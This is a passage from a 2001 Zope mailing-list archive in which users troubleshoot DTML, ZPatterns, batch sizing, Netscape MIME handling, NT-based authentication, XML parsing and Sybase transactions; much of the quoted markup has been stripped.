"emulateRedirect" approach is better? Joachim From mail@peterbe.com Wed May 2 09:05:51 2001 From: mail@peterbe.com (Peter Bengtsson) Date: Wed, 2 May 2001 10:05:51 +0200 Subject: [Zope] getitem in pythonscript References: <01050115233102.00745@tokey> Message-ID: <018901c0d2e2$f069c7c0$1c64a8c0@PBN> this: object = getattr(context, 'index_html') ----- Original Message ----- From: "bak (kedai)" To: Sent: Tuesday, May 01, 2001 9:23 AM Subject: [Zope] getitem in pythonscript > hi > what's the equivalent of _.getitem(stuff) in python script? > the only way i know of is by binding _, and refer to it as > ob=_.getitem(stuff) > > is this the *only* way? > > thanks > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From joe@iuveno-net.de Wed May 2 09:47:10 2001 From: joe@iuveno-net.de (Joachim Werner) Date: Wed, 2 May 2001 10:47:10 +0200 Subject: [Zope] writing dtml on zope.org References: <132030000.988667916@mindlace.digicool.com> Message-ID: <00ba01c0d2e4$7a0ca780$0200a8c0@iuvenonet.de> > The issue is that right now anybody is a yahoo account away from being able > to write arbitrary DTML on zope.org, and that this has brought zope.org to > it's knees in the past. > > What if there was a standard page for presenting your contributions, that > your contributions could have html in them, and if you were interested in > providing different ways to view member folders, you could get permission > and create a skin that then anyone could select? > > Esp. if that skin could cover more than just member folders, but the entire > site? I think for the "normal" user it is perfectly fine to limit him to what the CMF framework can offer. However, there might be "power users" who contribute functionality to zope.org on their member sites. These people would probably need special treatment (and they would NOT be a real danger to zope.org like the anonymous yahoo account user). Maybe we need more roles on zope.org (e.g. "managing editor" permissions for a certain section like a project homepage or so). There has been a lot of discussion in EuroZope land on how zope.org could become more like sourceforge (i.e. offer more functionality for developers, better search for products etc.). I think what zope.org really needs before you start the redesign is a proper analysis of all the target groups and a concept for each. Zope offers so many ways to present different content views and functionalities (i.e. portals) to let's say a journalist than to a hardcore Python developer. The aim for zope.org should be making it one of the best Zope sites and one of the best dynamic sites in the web ... Joachim From alet@unice.fr Wed May 2 09:46:08 2001 From: alet@unice.fr (Jerome Alet) Date: Wed, 2 May 2001 10:46:08 +0200 (MET DST) Subject: [Zope] Error on Zope download page Message-ID: Hi, Don't know if this is an error or not, here's what you can read from Zope's download page: Download Zope 2.3.2 the current stable release. Download Zope 2.3.2b2 the current development release. IMHO the devel release should have a version number greater than the stable one, or else I have misunderstood something about developpment for many years now ;-) bye, Jerome Alet - alet@unice.fr - http://cortex.unice.fr/~jerome Fac de Medecine de Nice http://wwwmed.unice.fr Tel: (+33) 4 93 37 76 30 Fax: (+33) 4 93 53 15 15 28 Avenue de Valombrose - 06107 NICE Cedex 2 - FRANCE From jose@sferacarta.com Wed May 2 10:00:47 2001 From: jose@sferacarta.com (Jose Soares) Date: Wed, 02 May 2001 11:00:47 +0200 Subject: [Zope] NETSCAPE WANTS TO SAVE MY LINK References: Message-ID: <3AEFCCBF.B76B7B0F@sferacarta.com> Hi all, I'm experiencing a strange thing when I click a link Netscape wants to save the page instead of showing it . Using IE it works properly. Any ideas ? Thank you vey much. Jose Soares From hofmann@isl.org Wed May 2 10:07:51 2001 From: hofmann@isl.org (Kai Hofmann) Date: Wed, 2 May 2001 11:07:51 +0200 Subject: [Zope] dtml-in and objectValues() In-Reply-To: References: <3AEFDAFF.20437.2BA2E002@localhost> Message-ID: <3AEFEA46.1956.2BDBE680@localhost> Hi Jerome, > > > > do_something > > > _['sequence-item'].getId() results in an error: "string object has no attribute getId" :( --=20 Institut f=FCr Seeverkehrswirtschaft und Logistik http://www.isl.org/ Dipl.-Inform. Kai Hofmann mailto:hofmann@isl.org Universitaetsallee GW1 Block A phone:+49 421 22096-83 D-28359 Bremen fax:+49 421 22096-55 From tino@wildenhain.de Wed May 2 10:10:46 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Wed, 02 May 2001 11:10:46 +0200 Subject: [Zope] Passing the value of a checkbox from a form to a dtml-method In-Reply-To: <005001c0d254$389fdaa0$38a3f1ce@mitretek.org> Message-ID: <959367970.988801846@BUZZER> Hi Thomas, --On Dienstag, 1. Mai 2001 11:34 -0400 "Thomas B. Passin" wrote: > [Casey Duncan] > >> >> You could try this: >> >> >> >> >> If the checkbox is not checked, Zope will pass the default value in the >> hidden field instead. >> > But if it IS checked, I believe the form will contain a list of the two > values, that is, > > isPublic=["0","1"] > > At least, it works like that if you have several check boxes of the same > name. So one way or another, somewhere you have to check the nature of > the returned data. There is a difference, its the ":default" modifier. with it it works as described - if no value is retuerned, zope uses this value instead. Regards Tino From alet@unice.fr Wed May 2 10:16:11 2001 From: alet@unice.fr (Jerome Alet) Date: Wed, 2 May 2001 11:16:11 +0200 (MET DST) Subject: [Zope] dtml-in and objectValues() In-Reply-To: <3AEFEA46.1956.2BDBE680@localhost> Message-ID: On Wed, 2 May 2001, Kai Hofmann wrote: > > > > > > > > do_something > > > > > > > > _['sequence-item'].getId() results in an error: > "string object has no attribute getId" Sorry, but this was said as being UNTESTED. the following works: do_something bye, Jerome Alet From alet@unice.fr Wed May 2 10:23:31 2001 From: alet@unice.fr (Jerome Alet) Date: Wed, 2 May 2001 11:23:31 +0200 (MET DST) Subject: [Zope] [FEATURE REQUEST] Improving Zope's management interface Message-ID: Hi, here are some small suggestions to improve (IMHO) the management interface. When viewing an object it would be fine if the Rename/Cut/Copy and Delete buttons were still available (but probably not the Paste button). Another thing I'd be glad to use would be MoveUp and MoveTo buttons: The MoveUp button would allow to move the current (or selected one) object up to the parent ObjectManager, and the MoveTo button would allow the user to type in an objectManager Id which would be resolved using the acquisition and the current object (or selected one) would be moved to this destination. Any comment ? Jerome Alet - alet@unice.fr - http://cortex.unice.fr/~jerome Fac de Medecine de Nice http://wwwmed.unice.fr Tel: (+33) 4 93 37 76 30 Fax: (+33) 4 93 53 15 15 28 Avenue de Valombrose - 06107 NICE Cedex 2 - FRANCE From mail@peterbe.com Wed May 2 10:24:37 2001 From: mail@peterbe.com (Peter Bengtsson) Date: Wed, 2 May 2001 11:24:37 +0200 Subject: [Zope] NETSCAPE WANTS TO SAVE MY LINK References: <3AEFCCBF.B76B7B0F@sferacarta.com> Message-ID: <020b01c0d2e9$bc8ec520$1c64a8c0@PBN> Yeah, restart Netscape. Sometimes it goes wild, and you have to restart it. Worked for me a couple of times. N.B. this has also happened in IE. ----- Original Message ----- From: "Jose Soares" Cc: Sent: Wednesday, May 02, 2001 11:00 AM Subject: [Zope] NETSCAPE WANTS TO SAVE MY LINK > Hi all, > > I'm experiencing a strange thing when I click a link > Netscape wants to save the page instead of showing > it . > Using IE it works properly. > Any ideas ? > > Thank you vey much. > Jose Soares > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From kosh@aesaeion.com Wed May 2 03:39:19 2001 From: kosh@aesaeion.com (kosh@aesaeion.com) Date: Wed, 2 May 2001 02:39:19 +0000 (UTC) Subject: [Zope] NETSCAPE WANTS TO SAVE MY LINK In-Reply-To: <3AEFCCBF.B76B7B0F@sferacarta.com> Message-ID: What is the mime type for your link. Ie what kind of object are you linking to and how did you link to it. I have usually found netscape has the correct behavior in these situations since ie seems to ignore most mime types. A few times I have had to teach the programmers who wrote some of these browers what a mime type are with a 2x4 to their heads. Also what version of netscape on what os. On Wed, 2 May 2001, Jose Soares wrote: > Hi all, > > I'm experiencing a strange thing when I click a link > Netscape wants to save the page instead of showing > it . > Using IE it works properly. > Any ideas ? > > Thank you vey much. > Jose Soares > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From itai@optusnet.com.au Wed May 2 10:39:14 2001 From: itai@optusnet.com.au (Itai Tavor) Date: Wed, 2 May 2001 19:39:14 +1000 Subject: [Zope] Re [Zope]: Punished for upgrading to 2.3.2: ZPatterns broke Message-ID: Itai Tavor (me) wrote: >Hi, > >I shut down a Zope instance using Zope 2.3.1, and started it again >with 2.3.2. When I tried to access objects on a rack, I got an >AttributeError: _setRack. I went back to 2.3.1, but I still get the >same error. > >Ok, I can take a hint. Somebody doesn't want me to use Zope 2.3.2. >All right, I won't. But my project is still hosed. So now I got to >restore a backup and lose a day's work. > >Is anyone else aware of upgrde problems with ZPatterns? > >Itai Ok, there seems to be something very wrong with ZPatterns in 2.3.2. I've recreated all the Racks from scratch, got them to work, filled them with data. Then I restarted Zope, and the _setRack problem returned. Just to keep it interesting, though, it happens with just 2 out of 4 racks in this application. At the moment, any work I do on this project is a waste of time. Someone please tell me what's going on here. TIA Itai -- -- Itai Tavor -- "Je sautille, donc je suis." -- itai@optusnet.com.au -- - Kermit the Frog -- -- 'Supposing a tree fell down, Pooh, when we were underneath it?' -- -- 'Supposing it didn't,' said Pooh after careful thought. -- From dave@kovach.com Wed May 2 10:52:59 2001 From: dave@kovach.com (dave@kovach.com) Date: 2 May 2001 02:52:59 -0700 Subject: [Zope] Image Content Message-ID: <20010502095259.5713.cpmta@c000.snv.cp.net> Hi - I have acouple questions regarding a photo content management system I am building as a tutorial to learn various aspects of Zope. So... I need some pointing in the right direction on the following... What is the most appropriate way to say add (5) containers of varying numbers of images without using the Zope management interface to manually add each one? I guess it might be possible to write a tool that iterates through a file directory and add an image element into a zope folder... or are there provisions already for this sorta thing? Also, if you want to give someone an easy interface to use to have access to adding/deleting photos in this scenario - would you have to build it? or is there something within Zope that allows a non-Zope'er to be able to access a form to do this maintenace? Any help or some pointing to what how-tos I should read would be very helpful. Thanks in advance. Sincerely, David Kovach dave@kovach.com _____________________________________________________ Get your name as your email and web site address. http://www.NetIdentity.com. Be somebody online. From mail@peterbe.com Wed May 2 10:42:33 2001 From: mail@peterbe.com (Peter Bengtsson) Date: Wed, 2 May 2001 11:42:33 +0200 Subject: [Zope] Batchsize looping problem Message-ID: <021301c0d2ed$ef45b920$1c64a8c0@PBN> Why is it that sometimes batch sizing doesn't work?? This returns the same as... ...would do. The start attribute response to my commands properly. But NOT the SIZE! Any hints on this? I have been able to do batchsized loops successfully before and I have read Michaels http://www.zope.org/Members/michel/ZB/AdvDTML.dtml Cheers, Peter From marcbpc@gmx.de Wed May 2 11:12:07 2001 From: marcbpc@gmx.de (Marc Fischer) Date: Wed, 2 May 2001 12:12:07 +0200 Subject: AW: [Zope] Source from form result. In-Reply-To: Message-ID: Hi Danny, first of all thank you for your detailed help!!! That is nearly, what I am looking for, but one problem exists: The page I want to extract (you are right ... its on an external server) does not work with passing the variables in the url. I mean ... http://server?x=a&y=b does not work. I need to do it with a form like:
That's my big big problem. Btw, ... its legal :-))) Marc > -----Ursprungliche Nachricht----- > Von: Danny William Adair [mailto:Danny@Adair.net] > Gesendet: Mittwoch, 2. Mai 2001 01:26 > An: Marc Fischer; Paula Mangas > Cc: zope@zope.org > Betreff: Re: [Zope] Source from form result. > > > Hi Marc, > > When you submit a form to one of your DTML methods or documents, all the > form variables will be available without any further work to be done > (REQUEST object, see docs). But if I get you right, you are not submitting > your form to a method of your own. So things are a bit different here. > > As I understand it, you are submitting your form to someone else's server > (since otherwise you would produce the output yourself). Maybe you're > providing an input form that is directed to a search engine, or something > similar. > > -------------------------------------------- >
> > > > > > > > -------------------------------------------- > > If so, then you should take a look at the "KebasData" Product: > http://www.zope.org/Members/kedai/KebasData > > Just instantiate a KebasData object, let's say "results". Take a > look at the > product's documentation to see how you can extract the relevant code from > the external server's result page. I'll try to get you started right away: > > Set the regular expression patterns properly, start with > > .* > > as the search pattern and leave the rest blank ("url" will be set > by a DTML > method you create, see below), then you'll get the entire > external page, you > can change that later to fit your needs. > > Then create a DTML method next to it, lets say "getResults". It could look > like this: > > >

RESULTS

> > easier to do further processing with your fetched data. > > hth, > Danny > > P.S.: Check the legal stuff before extracting other people's pages ;-) > > >>> -----Ursprungliche Nachricht----- > >>> Von: zope-admin@zope.org [mailto:zope-admin@zope.org]Im > Auftrag von Marc > >>> Fischer > >>> Gesendet: Dienstag, 1. Mai 2001 11.43p > >>> An: Paula Mangas; Marc Fischer > >>> Cc: zope@zope.org > >>> Betreff: AW: [Zope] Source from form result. > >>> > >>> > >>> Hi, > >>> > >>> I think there was an understanding problem. I want to get the > >>> source code of > >>> the result that is displayed in the browser, after klicking on > >>> the submit > >>> button. I want to be able to handle this source perhabs to create a > >>> dtmlmethod wiht it, or do some string extractions with it. > >>> > >>> > >>> > >>> > -----Ursprungliche Nachricht----- > >>> > Von: Paula Mangas [mailto:pamm@students.si.fct.unl.pt] > >>> > Gesendet: Dienstag, 1. Mai 2001 13:25 > >>> > An: Marc Fischer > >>> > Cc: zope@zope.org > >>> > Betreff: Re: [Zope] Source from form result. > >>> > > >>> > > >>> > On Tue, 1 May 2001, Marc Fischer wrote: > >>> > > >>> > > Hi, > >>> > > > >>> > > I want to get the HTML result from a form into a dtml method. > >>> > So I need a > >>> > > way to handle this result, but HOW. > >>> > > > >>> > > The form ist like this: > >>> > > > >>> > >
> >>> > > > >>> > > > >>> > > > >>> > > > >>> > > > >>> > > If I klick on submit, I get the result displayed in the > >>> Browser, but I > >>> > > cannot work with it. > >>> > > Perhaps someone could help me??? > >>> > > >>> > > >>> > Hi, > >>> > > >>> > > >>> > I think that, if you try > >>> >
method=POST> > >>> > > >>> > it will work. > >>> > > >>> > Paula > >>> > > >>> > >>> > >>> _______________________________________________ > >>> Zope maillist - Zope@zope.org > >>> http://lists.zope.org/mailman/listinfo/zope > >>> ** No cross posts or HTML encoding! ** > >>> (Related lists - > >>> http://lists.zope.org/mailman/listinfo/zope-announce > >>> http://lists.zope.org/mailman/listinfo/zope-dev ) > >>> > From fritz.mesedilla@summitmedia.com.ph Wed May 2 11:46:57 2001 From: fritz.mesedilla@summitmedia.com.ph (Fritz Mesedilla) Date: Wed, 2 May 2001 18:46:57 +0800 Subject: [Zope] TypeError Message-ID: this has never happened before... i don't think it's a product that we have used because i tried installing it to other servers and it works... this only happens on one of our servers... i currently have zeo and zope on the error server... this is what comes out... Error Type: TypeError Error Value: unsliceable object please help thanks... Fritz Mesedilla Systems Administrator "Ooops! Save your work, everyone. FAST!" ---------------------------------------------------------------------------- Summit Interactive, Inc. http://www.femalenetwork.com | http://www.candymag.com http://www.fhm.com.ph | http://www.cosmo.com.ph FHM | Seventeen | Candy | Cosmopolitan | Preview | Good Housekeeping ---------------------------------------------------------------------------- email: fritz@mesedilla.com icq#: 23476449 yahoo id: fritzcm http://www.fritzmesedilla.net and http://www.fritz.iscute.com ---------------------------------------------------------------------------- +Basta Ikaw Lord From mail@peterbe.com Wed May 2 11:42:27 2001 From: mail@peterbe.com (Peter Bengtsson) Date: Wed, 2 May 2001 12:42:27 +0200 Subject: [Zope] Image Content References: <20010502095259.5713.cpmta@c000.snv.cp.net> Message-ID: <028a01c0d2f7$b969af00$1c64a8c0@PBN> What I do: I have the original pictures on a spare local drive. I then use /utlilities/load_site.py (great feature!!) to upload the JPEGs from my machine to my site as Image objects. Lastly I have a little python script on my site that loops through all the directories and converts Image objects into Photo objects, and bins the Image object. I would get the same result if I opened the ZMI remotly and upload the JPEGs as Photos directly. But if I'm on a modem line the silly web browser upload plus the process time to convert JPEG to Photo, can break the connection which is very annoying. Search zope.org for information about the Photo product. It's all quite simple actually. Bonne chances, Peter ----- Original Message ----- From: To: Sent: Wednesday, May 02, 2001 11:52 AM Subject: [Zope] Image Content > Hi - > > I have acouple questions regarding a photo content management system I am building as a tutorial to learn various aspects of Zope. So... I need some pointing in the right direction on the following... > > What is the most appropriate way to say add (5) containers of varying numbers of images without using the Zope management interface to manually add each one? > > I guess it might be possible to write a tool that iterates through a file directory and add an image element into a zope folder... or are there provisions already for this sorta thing? > > Also, if you want to give someone an easy interface to use to have access to adding/deleting photos in this scenario - would you have to build it? or is there something within Zope that allows a non-Zope'er to be able to access a form to do this maintenace? > > Any help or some pointing to what how-tos I should > read would be very helpful. Thanks in advance. > > > Sincerely, > > David Kovach > dave@kovach.com > > > _____________________________________________________ > > Get your name as your email and web site address. > http://www.NetIdentity.com. Be somebody online. > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From chrisw@nipltd.com Wed May 2 12:11:40 2001 From: chrisw@nipltd.com (Chris Withers) Date: Wed, 02 May 2001 12:11:40 +0100 Subject: [Zope] something like getpath in ZCatalog for methods References: <988758767.3aef42ef2a75a@marcus.localguru.de> Message-ID: <3AEFEB6C.239B216F@nipltd.com> Try method_X.absolute_url() It may or may not work :-S Chris Marcus Schopen wrote: > > Hi there, > > is it possible to get the absolut position/url of a method (e.g. method_X) that > is located somewhere in one of the above parents folders? > Something like getpath in ZCatalog. > > Looks like this: > > Folder_A > testing_method > method_X > Folder_A1 > Folder_A1.2 > method_X > Folder_A1.3 > Folder_A2 > Foder_B > Folder_B1 > method_X > > Folder_C > ... > > Calling "testing_method" in "Folder_A1.2" should give a the the position > of "method_X" in "Folder_A1.2" > Calling testing_method in "Folder_B.1" should give a the the position > of the "method_X" in "Folder_B1" > > In other words: whats the position of my next "method_X" > > Thanks a lot > Marcus > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From chrisw@nipltd.com Wed May 2 12:22:00 2001 From: chrisw@nipltd.com (Chris Withers) Date: Wed, 02 May 2001 12:22:00 +0100 Subject: [Zope] Batchsize looping problem References: <021301c0d2ed$ef45b920$1c64a8c0@PBN> Message-ID: <3AEFEDD8.58A61F2F@nipltd.com> Peter Bengtsson wrote: > > Why is it that sometimes batch sizing doesn't work?? > > > This returns the same as... > > ...would do. Perhaps you're getting bitten by the implicit default value of orphan=3? This really sucks, IMNSHO, but no-one seems to want to change it :-S cheers, Chris From mj@digicool.com Wed May 2 12:20:19 2001 From: mj@digicool.com (Martijn Pieters) Date: Wed, 2 May 2001 13:20:19 +0200 Subject: [Zope] Re: Error on Zope download page In-Reply-To: ; from alet@unice.fr on Wed, May 02, 2001 at 10:46:08AM +0200 References: Message-ID: <20010502132018.B24100@zopatista.com> On Wed, May 02, 2001 at 10:46:08AM +0200, Jerome Alet wrote: > Don't know if this is an error or not, here's what you can read from > Zope's download page: > > Download Zope 2.3.2 the current stable release. > Download Zope 2.3.2b2 the current development release. > > IMHO the devel release should have a version number greater than the > stable one, or else I have misunderstood something about developpment for > many years now ;-) Nah, it just means we haven't released a development version since we released 2.3.2. You see this in plenty of other places. Why release a development version just for the sake of having a greater version number? -- Martijn Pieters | Software Engineer mailto:mj@digicool.com | Digital Creations http://www.digicool.com/ | Creators of Zope http://www.zope.org/ --------------------------------------------- From tino@wildenhain.de Wed May 2 12:22:03 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Wed, 02 May 2001 13:22:03 +0200 Subject: [Zope] parsing xml files In-Reply-To: Message-ID: <967245820.988809723@BUZZER> Hi Sven, --On Mittwoch, 2. Mai 2001 04:06 +0200 Sven Fischer wrote: > hello, > > i have an xml file being uploaded with a PUT into some folder and i would > like to know whether it's best to : > > a] parse it using xml2zope or xmldocument for example and built a dtml > tree of the doc (seems unmanageable if there are *lots* of docuemnts) Probably the best solution IMHO. I dont see where it becomes unmanageable. There might be a performance-issue, if the docs are really large. > b] store the xml files somewhere and use an external method to parse them > on the fly (would be cool if it could be called from dtml) I dont see why this would be better then (a). You additionally loose the capabilities of the ZODB (transaction, easy object reference, versioning) If you expect moderate change rates on the documents you probably dont want to abandon the transaction feature. > c] ? > > i've tried to figure out parsedxml, but i haven't found the link to > download the product ???? well, anyway, what would the best solution for > this be (the best product ;-) hopefully something closer to beta than > alpha since i'm just an almost newbie ;-) > > thx > > $ven > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From tino@wildenhain.de Wed May 2 12:50:29 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Wed, 02 May 2001 13:50:29 +0200 Subject: [Zope] dtml-in and objectValues() In-Reply-To: <3AEFDAFF.20437.2BA2E002@localhost> Message-ID: <968951260.988811429@BUZZER> Hi Kai, haha :) The argument of objectValues() refers to meta_types rather then to objectids. What you can do is: render whatever Or - more advanced - use the ZCatalog for this, so you would get easyness and performance the same time :-) Tino Wildenhain --On Mittwoch, 2. Mai 2001 10:02 +0200 Kai Hofmann wrote: > I am successfully using > > > .... > > > now I wanted to do something like > > > > i.e. only select objects from the subfolder with a name ending in "_de" > how can this be done - I can not find any hint within the Zope = docs/howtos > :(((( > > Thanks > > Kai > > -- > Institut f=FCr Seeverkehrswirtschaft und Logistik http://www.isl.org/ > Dipl.-Inform. Kai Hofmann mailto:hofmann@isl.org > Universitaetsallee GW1 Block A phone:+49 421 22096-83 > D-28359 Bremen fax:+49 421 22096-55 > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From jens@digicool.com Wed May 2 12:51:02 2001 From: jens@digicool.com (Jens Vagelpohl) Date: Wed, 02 May 2001 07:51:02 -0400 Subject: [Zope] Making users work In-Reply-To: <3AEF9E8B.E184A077@symbian.com> Message-ID: malcolm, there are user folders that can talk to windoze, you might want to look at this product: http://www.zope.org/Members/jephte/jcNTUserFolder ...or use the User management download section to browse all available user folder combinations at: http://www.zope.org/Products/user_management jens On 5/2/01 1:43, "Malcolm Box" wrote: > Hi all, > > As a Zope newbie (sorry!), I'm deeply confused by how to make users work > the way I want. > > The site I am developing is an "ideas" site, where people can vote on > ideas and post new ideas. What I want to achieve is that everyone can > access the content or vote anonymously, but to post they have to log > in. As this is an intranet site, the WinNT domain controller already > has a list of every possible user and a password, so I want to use this > to authenticate who people are, and I certainly don't want to have to > create and maintain a Zope user for each and every person in the > organization! > > When people try to post without logging in, I want to send them to a > page explaining the login requirements and giving them a login form, > rather than popping up a http authenticate dialog. > > To say that I have no clue how to go about this is an understatement. I > think there are three parts to this - one is the login form, the other > is setting the right permissions on the posting form and the third is > accessing the NT user database. I've looked at LoginManager, acl_users > and various howtos, but I can't work out how to put it all together, > despite my feeling that it's all there somewhere :-) > > So could anyone outline how to go about this - pointers to dtml source, > howtos etc gratefully received. > > Cheers, > > Malcolm > > -- > > > > ********************************************************************** > Symbian Ltd is a company registered in England and Wales with registered > number 01796587 and registered office at 19 Harcourt Street, London, W1H 4HF, > UK. > This message is intended only for use by the named addressee and may contain > privileged and/or confidential information. If you are not the named addressee > you should not disseminate, copy or take any action in reliance on it. If you > have received this message in error please notify postmaster@symbian.com and > delete the message and any attachments accompanying it immediately. Symbian > does not accept liability for any corruption, interception, amendment, > tampering or viruses occurring to this message in transit or for any message > sent by its employees which is not in compliance with Symbian corporate > policy. > ********************************************************************** > From jens@digicool.com Wed May 2 13:05:03 2001 From: jens@digicool.com (Jens Vagelpohl) Date: Wed, 02 May 2001 08:05:03 -0400 Subject: [Zope] Zope management screens and OmniWeb (on OS X) In-Reply-To: <51D6FF030F6ED411993000D0B7823C06010A56@EX2BEBREYMBX04> Message-ID: it works on zope.org because zope.org uses a cookie-based authentication. only basic auth will trigger the problem. as far as port 80 on OS X goes, you probably must run zope as root user to achieve that. that's a general unix thing, it doesn't have anything to do with OS X. jens On 5/2/01 3:39, "Dominique.Dutoit@cec.eu.int" wrote: > Same problem here. > > But I think that the problem is elsewhere because I don't have any problem > to manage my personal folder on zope.org with OmniWeb. Maybe the problem is > authenticating an user when there is a port number in the URL. Or the way > zope.org does the authentication is more friendly that the authentication > window. > > I have tried to run zope on a port 80 but Python refused to bind the port > and I'm sure that Apache is not running. It seems that Mac OS X protects > some resources. > > By the way, iCab has exactly the same problem and yet, it works with the > personal folder. > > Dominique > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From jwashin@vt.edu Wed May 2 13:16:29 2001 From: jwashin@vt.edu (Jim Washington) Date: Wed, 02 May 2001 08:16:29 -0400 Subject: [Zope] NETSCAPE WANTS TO SAVE MY LINK References: <3AEFCCBF.B76B7B0F@sferacarta.com> Message-ID: <3AEFFA9D.76AF08B5@vt.edu> Jose Soares wrote: > > Hi all, > > I'm experiencing a strange thing when I click a link > Netscape wants to save the page instead of showing > it . > Using IE it works properly. > Any ideas ? I have seen this occasionally when I display text from Filemaker Pro text exports. The problem has been existence of unusual characters like Control-O. I believe it is interpreted as possibly binary data. The same sort of characters cause "not well-formed" errors if I attempt to parse a perfectly-well-formed xml representation of the same data. -- Jim Washington From gitte@mmmanager.org Tue May 1 20:09:48 2001 From: gitte@mmmanager.org (Gitte Wange) Date: Tue, 1 May 2001 21:09:48 +0200 Subject: [Zope] Passing the value of a checkbox from a form to a dtml- method In-Reply-To: <7BD10B680501D411B9DF009027E06F32197CDD@exchange> References: <7BD10B680501D411B9DF009027E06F32197CDD@exchange> Message-ID: <01050121094800.01528@squidbitch.mmmanager.org> On Tuesday 01 May 2001 15:19, Max M=F8ller Rasmussen wrote: > > From: Gitte Wange [mailto:gitte@mmmanager.org] > > > > value of the checkbox isn't passed along to the receiving method. > > The checkbox code looks like this: > > > > Perhaps you have forgotten the value it should have when checked? > > > > Furthermore if a checkbox isn't checked, no value will be send at all. > > Maybe it would be simpler to use a select? Then you will allways get a > value. > > >
[-]&dtml-title;
>
[+] href=3D"&dtml-absolute_url;/">&dtml-title;
you may try it at: http://www.allevatori.com/ALLEVATORI/pub/jos kosh@aesaeion.com wrote: > What is the mime type for your link. Ie what kind of object are you > linking to and how did you link to it. I have usually found netscape has > the correct behavior in these situations since ie seems to ignore most > mime types. A few times I have had to teach the programmers who wrote some > of these browers what a mime type are with a 2x4 to their heads. Also what > version of netscape on what os. > > On Wed, 2 May 2001, Jose Soares wrote: > > > Hi all, > > > > I'm experiencing a strange thing when I click a link > > Netscape wants to save the page instead of showing > > it . > > Using IE it works properly. > > Any ideas ? > > > > Thank you vey much. > > Jose Soares > > > > > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://lists.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://lists.zope.org/mailman/listinfo/zope-announce > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From michel@titus.u-strasbg.fr Wed May 2 14:48:26 2001 From: michel@titus.u-strasbg.fr (Michel) Date: Wed, 02 May 2001 15:48:26 +0200 Subject: [Zope] USE TRansaction : _begin() Message-ID: <10105021459.AA09871@porgy> Hello, I'm a young user of zope. I use Zope with SYBASE (we created a Product SybaseDAv2 and it seems to work perfectly). Zope created only one connection to sybase and all my Zope users used this connection to send SQL requests. Now I would like to modify some tables from my database. I need to use transaction. I unchecked "use transaction" into properties of my SybaseDAV2. I created 3 DTML Methods (begin, commit and rollback) which call a ZSQL Method (begintran, commitran,rollbacktran) but it doesn't work because the first user doesn't avoid the second user to modify the same data. By reading documentation, I found there are these methods implemeted with my SybaseDAv2 product : _begin(self) _finish(self) _abort(self) But how can I call them ? I tried : and a lot of other possibilities .... but it doesn't work!! SybDA is the name of SybaseDAv2 product in my example. Maybe this will not work too. So How can I use transaction into Zope ? Could you send me an example ? Thank you very much for your help OFFNER Michel IGBMC France From chrism@digicool.com Wed May 2 14:59:23 2001 From: chrism@digicool.com (Chris McDonough) Date: Wed, 2 May 2001 09:59:23 -0400 Subject: [Zope] USE TRansaction : _begin() References: <10105021459.AA09871@porgy> Message-ID: <00b001c0d310$1a8316b0$a8063bd0@kurtz> Hi Michel, Are Zope's transaction facilities not enough for you? Zope commits or rolls back all data stores at the end of a request... the Sybase adapter does this automatically. ----- Original Message ----- From: "Michel" To: Sent: Wednesday, May 02, 2001 9:48 AM Subject: [Zope] USE TRansaction : _begin() > > Hello, > > I'm a young user of zope. > I use Zope with SYBASE (we created a Product SybaseDAv2 and it seems to > work perfectly). > Zope created only one connection to sybase and all my Zope users used this > connection to send SQL requests. > > Now I would like to modify some tables from my database. I need to use > transaction. > I unchecked "use transaction" into properties of my SybaseDAV2. > I created 3 DTML Methods (begin, commit and rollback) which call a ZSQL > Method (begintran, commitran,rollbacktran) but it doesn't work because the > first user doesn't avoid the second user to modify the same data. > > By reading documentation, I found there are these methods implemeted with > my SybaseDAv2 product : > _begin(self) > _finish(self) > _abort(self) > > But how can I call them ? > I tried : > > > > > and a lot of other possibilities .... but it doesn't work!! > > SybDA is the name of SybaseDAv2 product in my example. > > Maybe this will not work too. So How can I use transaction into Zope ? > Could you send me an example ? > > Thank you very much for your help > > OFFNER Michel > IGBMC > France > > > > _______________________________________________ > Zope maillist - Zope@zope.org > 